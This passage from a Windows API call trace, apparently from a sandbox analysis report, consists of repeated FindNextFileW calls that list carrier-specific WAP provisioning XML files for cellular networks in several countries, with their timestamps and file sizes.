(Hong Kong SAR)_i3$(__MVID)@WAP.provxml", cAlternateFileName="178__C~1.PRO")) returned 1 [0123.346] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", cAlternateFileName="179__C~1.PRO")) returned 1 [0123.346] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", cAlternateFileName="17__CO~1.PRO")) returned 1 [0123.346] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", cAlternateFileName="180__C~1.PRO")) returned 1 [0123.347] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="181__C~1.PRO")) returned 1 [0123.347] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="182__C~1.PRO")) returned 1 [0123.347] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="183__C~1.PRO")) returned 1 [0123.347] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="184__C~1.PRO")) returned 1 [0123.347] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="185__C~1.PRO")) returned 1 [0123.347] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="186__C~1.PRO")) returned 1 [0123.347] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="187__C~1.PRO")) returned 1 [0123.348] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", cAlternateFileName="188__C~1.PRO")) returned 1 [0123.348] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="189__C~1.PRO")) returned 1 [0123.348] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="18__CE~1.PRO")) returned 1 [0123.348] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="190__C~1.PRO")) returned 1 [0123.348] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="191__C~1.PRO")) returned 1 [0123.348] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="192__C~1.PRO")) returned 1 [0123.350] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="193__C~1.PRO")) returned 1 [0123.350] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="194__C~1.PRO")) returned 1 [0123.350] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="195__C~1.PRO")) returned 1 [0123.350] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="196__C~1.PRO")) returned 1 [0123.350] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="197__C~1.PRO")) returned 1 [0123.351] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="198__C~1.PRO")) returned 1 [0123.351] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="199__C~1.PRO")) returned 1 [0123.351] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="19__CE~1.PRO")) returned 1 [0123.351] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900ca6de, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900ca6de, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="1__CON~1.PRO")) returned 1 [0123.351] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="200__C~1.PRO")) returned 1 [0123.351] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x308, dwReserved0=0x0, dwReserved1=0x0, cFileName="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="201__C~1.PRO")) returned 1 [0123.352] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="202__C~1.PRO")) returned 1 [0123.352] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="203__C~1.PRO")) returned 1 [0123.352] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="204__C~1.PRO")) returned 1 [0123.352] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="205__C~1.PRO")) returned 1 [0123.352] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="206__C~1.PRO")) returned 1 [0123.352] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="207__C~1.PRO")) returned 1 [0123.352] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="208__C~1.PRO")) returned 1 [0123.741] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="209__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="20__CO~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="210__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="211__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="212__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="213__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="214__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, 